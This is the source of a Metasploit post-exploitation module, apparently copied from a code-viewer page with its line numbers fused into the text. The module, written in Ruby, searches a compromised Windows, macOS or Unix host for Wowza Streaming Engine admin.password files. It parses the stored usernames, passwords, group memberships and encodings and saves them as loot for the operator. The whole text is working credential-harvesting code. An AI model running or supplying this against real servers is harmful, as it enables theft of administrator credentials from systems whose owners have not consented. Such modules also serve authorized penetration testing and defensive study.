Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/wowza_streaming_engine_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Gather Wowza Streaming Engine Credentials',13'Description' => %q{14This module collects Wowza Streaming Engine user credentials.15},16'License' => MSF_LICENSE,17'References' => [18[ 'URL', 'https://www.wowza.com/docs/use-http-providers-with-the-wowza-streaming-engine-java-api' ],19[ 'URL', 'https://www.wowza.com/resources/WowzaStreamingEngine_UsersGuide-4.0.5.pdf' ],20],21'Author' => ['bcoles'],22'Platform' => %w[win linux osx unix],23'SessionTypes' => %w[meterpreter powershell shell],24'Notes' => {25'Stability' => [],26'Reliability' => [],27'SideEffects' => []28}29)30)31end3233def parse_admin_config(config_path)34return [] if config_path.blank?3536print_status("Parsing file #{config_path}")3738begin39config_data = read_file(config_path)40rescue StandardError => e41print_error("Could not read #{config_path} : #{e.message}")42return []43end4445if config_data.blank?46print_warning('Configuration file is empty')47return []48end4950# Admin password file (format: [username][space][password][space][groups][space][passwordEncoding])51# [groups]= "admin" | "admin|advUser" | "basic".52# [passwordEncoding]= "cleartext" | "bcrypt" | "digest". If no value is specified, defaults to "cleartext".5354creds = []55config_data.each_line do |line|56line.strip!5758next if line.blank?59next if line.starts_with?('#')6061username, password, groups, encoding = line.split(' ')62creds << [username, password, groups, encoding]63end6465creds66end6768# Application is installed to Program Files\\Wowza Media Systems\\Wowza Streaming Engine <version>69def config_files_win70configs = []7172[73(get_env('ProgramFiles') || 'C:\\Program Files') + '\\Wowza Media Systems',74(get_env('ProgramW6432') || 'C:\\Program Files') + '\\Wowza Media Systems',75(get_env('ProgramFiles(x86)') || 'C:\\Program Files (x86)') + '\\Wowza Media Systems',76'C:\\Program Files\\Wowza Media Systems',77'C:\\Program Files (x86)\\Wowza Media Systems',78].uniq.each do |wowza_dir|79next unless directory?(wowza_dir)8081dirs = dir(wowza_dir) || []8283dirs.each do |dir|84next unless dir.starts_with?('Wowza Streaming Engine')8586config_path = "#{wowza_dir}\\#{dir}\\conf\\admin.password"87configs << config_path if exists?(config_path)88end89end9091configs92end9394# Application is installed to /Library/WowzaStreamingEngine-<version>95# Symlink /Library/WowzaStreamingEngine points to the application directory96# and cannot be changed.97# https://www.wowza.com/community/t/default-installation-directory/635/298def config_files_osx99config_path = '/Library/WowzaStreamingEngine/conf/admin.password'100exists?(config_path) ? [config_path] : []101end102103# Application is installed to /usr/local/WowzaStreamingEngine-<version>104# Symlink /usr/local/WowzaStreamingEngine points to the application directory105# and cannot be changed.106# https://www.wowza.com/community/t/default-installation-directory/635/2107def config_files_unix108config_path = '/usr/local/WowzaStreamingEngine/conf/admin.password'109exists?(config_path) ? [config_path] : []110end111112def run113case session.platform114when 'windows'115configs = config_files_win116when 'osx'117configs = config_files_osx118else119configs = config_files_unix120end121122fail_with(Failure::NotFound, 'Found no Wowza Streaming Engine admin.password config files') if configs.empty?123124creds = []125configs.each do |config|126parse_admin_config(config).each { |c| creds << c }127end128129fail_with(Failure::NotFound, 'Found no credentials') if creds.empty?130131columns = %w[Username Password Groups Encoding]132133tbl = Rex::Text::Table.new(134'Header' => 'Wowza Streaming Engine Credentials',135'Columns' => columns136)137138creds.uniq.each do |c|139tbl << c140end141142print_line(tbl.to_s)143path = store_loot('host.wowzastreamingengine', 'text/csv', session, tbl.to_csv, 'wowza_creds.csv', 'Wowza Streaming Engine credentials')144print_good("Credentials stored in: #{path}")145end146end147148149